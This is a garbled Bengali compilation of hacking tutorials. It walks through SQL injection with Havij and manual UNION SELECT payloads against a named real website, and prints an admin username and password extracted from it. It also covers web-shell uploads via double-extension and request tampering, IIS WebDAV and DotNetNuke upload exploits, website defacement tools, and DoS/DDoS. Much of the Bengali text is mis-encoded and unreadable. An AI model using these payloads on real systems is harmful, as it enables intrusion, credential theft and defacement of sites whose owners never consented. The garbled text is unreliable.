এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 26: Hacking Bangla eBook

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

